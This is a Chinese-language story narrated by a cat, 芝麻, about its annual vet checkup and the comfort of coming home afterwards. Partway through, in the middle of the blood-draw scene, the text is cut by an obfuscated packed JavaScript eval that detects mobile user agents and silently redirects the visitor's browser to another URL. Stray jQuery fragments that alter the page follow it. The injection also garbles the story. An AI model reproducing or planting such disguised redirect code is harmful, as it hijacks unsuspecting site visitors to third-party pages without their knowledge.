秋天快要结束的时候，迎来了一年一度的健康检查。
我对“健康检查”这个词没有概念，但我对那个场景记忆犹新：那个会发光的铁盒子（汽车），那个充满陌生气味的建筑，那些穿着白色外衣、手上有消毒水气味的“白大褂两脚兽”。
每一次去那里，都意味着被翻来覆去地检查，被冰凉的仪器触碰身体，有时候还会被尖锐的东西刺一下。
我不喜欢那个地方。
所以那天早晨，当他从储物柜里翻出那个航空箱时，我立刻警觉起来。
那是我的“牢笼”——一个透明的、带着透气孔的塑料箱子。每次我进去，就意味着要被带离这个安全的家，去往未知的地方。我立刻躲到了沙发底下，只露出一双眼睛。
“芝麻，”他蹲下来，手里拿着航空箱，“出来，我们去检查身体。”
我往后缩了缩。
“很快的，”他耐心地说，“检查完就回来，还有奖励。”
奖励？什么奖励？上次他也说“很快”，结果我在那个冰冷的地方待了将近一个小时。上上次他也说“奖励”，结果只是一小包零食，根本不足以抵消我被“白大褂”翻来覆去的痛苦。
“妈，”他回头喊，“帮我一下。”
年长两脚兽——现在我已经习惯了她的存在——从厨房走出来，看到这一幕，笑了：“又躲起来了？”
“嗯，一看到航空箱就躲。”
她蹲下来，看着我，眼神里有种我看不懂的东西。然后她起身，从冰箱里拿出一样东西——一小块水煮的鸡胸肉，切成小丁，装在碗里。
她把碗放在航空箱旁边。
我闻到了鸡肉的香味。这是我平时最喜欢的零食之一。
“芝麻，”她用那种哄小孩的语气说，“出来吃鸡肉，吃完再去。”
我犹豫了。鸡肉的香味实在太诱人。但从沙发底下到航空箱旁边，这段距离意味着危险。我需要评估。
她似乎明白我的犹豫，把鸡肉碗往沙发边缘推了推。现在我不用完全出去，只要伸出头，就能吃到。
我慢慢探出头，迅速叼起一块鸡肉，又缩回沙发底下。咀嚼，吞咽。美味。
她又放了一块。我又探出头，叼走。
这样重复了五六次，我的警惕慢慢放松了。当我把第七块鸡肉叼进嘴里时，她伸手摸了摸我的头。我没有躲开。
“你看，没事的，”她说，“吃完就出来吧。”
我吃完了碗里所有的鸡肉。然后，从沙发底下走了出来。
他立刻行动，趁我不备，把我抱起来，塞进了航空箱。门关上的瞬间，我发出一声抗议的“喵”。
“对不起对不起，”他在外面说，“回来再给你吃鸡肉。”
抗议无效。我已经在航空箱里了。
汽车行驶的过程一如既往地不舒服。晃动，噪音，透过透气孔看到的模糊景色。我蜷缩在箱子的角落，耳朵向后贴着，尽量减少与外界的接触。
他时不时从前面伸手进来，用手指轻轻碰碰我。“快到了，”他说，“别怕。”
他的手指上有熟悉的温度，让我稍微安心了一点。
那个地方到了。气味还是一样：消毒水、各种动物的体味、其他猫留下的恐惧信息素。我缩得更紧了。
他被允许把我从箱子里抱出来。我紧紧贴着他的胸口，爪子抓着他的衣服，不肯松开。他能感觉到我的颤抖。
“没事的，”他反复说，“很快就好。”
“白大褂”进来了。这次是一个年轻的女性，头发扎在脑后，脸上带着微笑。但我不信任任何微笑——在这个地方，微笑通常意味着即将到来的不适。
“芝麻，又见面啦，”她轻声说，慢慢伸出手。
我往他怀里缩了缩。
检查开始了。称体重——比去年重了0.3公斤，这是个好消息。听心跳——冰凉的听诊器贴在我的胸口，我尽量保持不动。检查牙齿——她轻轻掰开我的嘴，看了看，点点头。检查耳朵——用一个发光的东西照了照，确认没有耳螨。
然后是最可怕的部分：抽血。
当她拿出那根细细的针管时，我的身体立刻绷紧了。我知道那是什么。上次，就是那根东西刺进我的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420578|200829||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身体，疼了好几秒。
“芝麻乖，一下就好，”他把我抱得更紧了，一只手遮住我的眼睛。
我看不到针，但我能感觉到那个冰冷的触碰。然后是一瞬间的刺痛。我挣扎了一下，但他抱得很紧，我没有办法挣脱。
“好了好了，结束了，”他的声音在耳边响起。
真的结束了。她把针管拿开，用棉签按住那个被刺的地方。他帮我按着，手指的温度覆盖在那个小小的伤口上。
“芝麻真勇敢，”她说，“比去年进步多了。”
她从抽屉里拿出一个小袋子，里面装着几颗猫用零食，递给他。“奖励。”
他把我放回航空箱，但门没有关。我把头探出来，看着他手里的零食袋。
他笑着拿出两颗，喂给我吃。
回家的路上，我躺在航空箱里，身体依然有些紧张，但心情已经放松了。汽车继续晃动，继续发出噪音，但这一次，这些不适意味着我正在远离那个地方，正在回家。
门打开的瞬间，我从航空箱里冲出来，直奔我的水碗。喝了几口水后，我开始巡视整个家：客厅、卧室、阳台、厨房。每一个角落都要检查，确认一切如常。这是回家的仪式，也是重新确立领地控制权的必要步骤。
他跟着我，看着我做这一切。
“妈，你看它，”他说，“每次回来都要巡逻一遍。”
“猫都这样，”她说，“确认安全了才能放心。”
我完成了整个巡逻流程，最后跳上沙发，蜷缩在他旁边。他伸手摸了摸我，手指轻轻拂过那个被抽血的位置。
“这里还疼吗？”
我发出呼噜声，表示一切都好。
那天晚上，我得到了两份鸡肉——一份是早晨的“诱饵”，一份是回来的奖励。躺在温暖的沙发上，听着他和她聊天的声音，闻着熟悉的家的气味，我想：
也许那个地方没那么可怕。也许一年一次的“健康检查”是可以忍受的，如果结束后能回到这里，如果能得到他的抚摸和鸡肉的奖励。
但我还是希望，下一次检查，要等很久很久以后。